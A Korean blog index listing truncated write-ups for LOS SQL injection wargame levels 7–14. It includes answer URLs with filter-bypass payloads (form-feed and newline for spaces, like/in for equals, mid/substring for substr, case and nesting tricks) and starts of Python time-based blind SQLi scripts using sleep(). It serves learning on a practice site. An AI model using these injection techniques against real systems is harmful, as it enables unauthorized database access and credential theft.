전체 글 (139) 썸네일형 리스트형 [LOS] 14. giant from이랑 prob_gian가 붙어 있어서 쿼리문이 실행이 안됨 또 공백 필터링이 걸려있음 그걸 우회해야함 %0c(form feed)로 가능 정답 : https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit=%0c https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit=%0C los.rubiya.kr [LOS] 13. bugbear 계속해서 time based 문제가 나온다 슬슬 다른 문제 풀고싶다. 이 문제 역시 no 파라미터 값에 필터링 걸려있는 게 많다. ' -> 여기서 필요없음 substr -> mid ascii -> hex (값) (여기서 ord 안됨 -> or 필터링 걸려있어서) =, like -> in ("값") or -> || and -> %26 공백 -> %0a 0x -> 안써도 됨 코드는 아래와 같음 import requests url ='https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=' #url 주소 입력 def find_pw_len(): pw_len=0 while 1: pw_len=pw_len+1 value = '1%0a|.. [LOS] 12. darkknight time based로 풀어야하는 문제 근데 파라미터 no에 ', substr, ascii, = 을 못쓰게 필터링 걸려있다. ' -> 굳이 안써도 됨 substr -> mid asciil -> ord = -> like 상기의 bypass 문자열로 우회가 다 가능함. import requests url ='https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php?pw=&no=' #url 주소 입력 def find_pw_len(): pw_len=0 while 1: pw_len=pw_len+1 value = '1 or id like "admin" %26%26 if(length(pw) like {}, sleep(3), 1)%23'.fo.. [LOS] 11. golem 여태 나온 time based sqli 문제들이랑 똑같은 유형이다 다만 '='을 필터링하여 사용하지 못하게 했는데, 이는 SQL 문법에서 like로 대신 가능하다. 또한 'substr(' 문자열도 필터링 걸어놨는데 이는 그냥 substring으로 우회 가능하다. import requests url ='https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=' #url 주소 입력 def find_pw_len(): pw_len=0 while 1: pw_len=pw_len+1 value = "' || id like 'admin' %26%26 if(length(pw) like {}, sleep(3), 1)%23".format(pw_le.. [LOS] 10. skeleton id=admin이 되면 풀림, 그냥 or 문 넣고 id=admin 넣고 뒤에 구문(and 1=0)은 주석 처리하면 풀림 정답 : https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27or%20%20id=%27admin%27%23 https://los.rubiya.kr/chall/skeleton_a857a5ab24431d6fb4a00577dac0f39c.php?pw=%27or++id%3D%27admin%27%23 los.rubiya.kr [LOS] 9. vampire 전 문제랑 똑같이 그냥 id 값에 admin이 들어가기만 하면 되지만 필터링이 걸려있음 이번엔 대문자로 넣어도 소문자로 바꾼다 그리고 admin을 작성하면 공백으로 바뀐다. 그래서 그냥 a + admin + dmin을 넣어주면 됨 정답 : https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=aadmindmin https://los.rubiya.kr/chall/vampire_e3f1ef853da067db37f342f3a1881156.php?id=aadmindmin los.rubiya.kr [LOS] 8. troll id에 admin이 들어가면 풀리는 문제. 다만, admin 문자열을 필터링 걸어놨다. 따라서 우회해야함~ 정답: https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=AdMIn https://los.rubiya.kr/chall/troll_05b5eb65d94daf81c42dd44136cb0063.php?id=AdMIn los.rubiya.kr [LOS] 7. orge 4번 orc 문제를 풀 때, 뭐가 잘못되어서 비밀번호의 길이를 구하는 코드가 작동하지 않는다고 했는데 지나가시던 우리의 뉴스쿨 갓 선배님께서 id가 'admin'으로 특정되지 않아서 4자리 숫자인 비밀번호를 가진 데이터를 먼저 불러와서 그렇다는 댓글을 남겨주셨다.(아리가또-센빠이☆) 그래서 천천히 코드를 다시보니 거의 막줄에 아래와 같은 코드가 있었다. $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 결국 마지막에 저 쿼리가 실행되니 id='admin'의 조건을 넣었어야 했다. 그래서 결국 아래의 코드와 같이 완전하게 비밀번호의 길이와 비밀번호를 알려주는 파이썬의 코드를 짰다. import requests url ='h.. 이전 1 2 3 4 5 ··· 18 다음
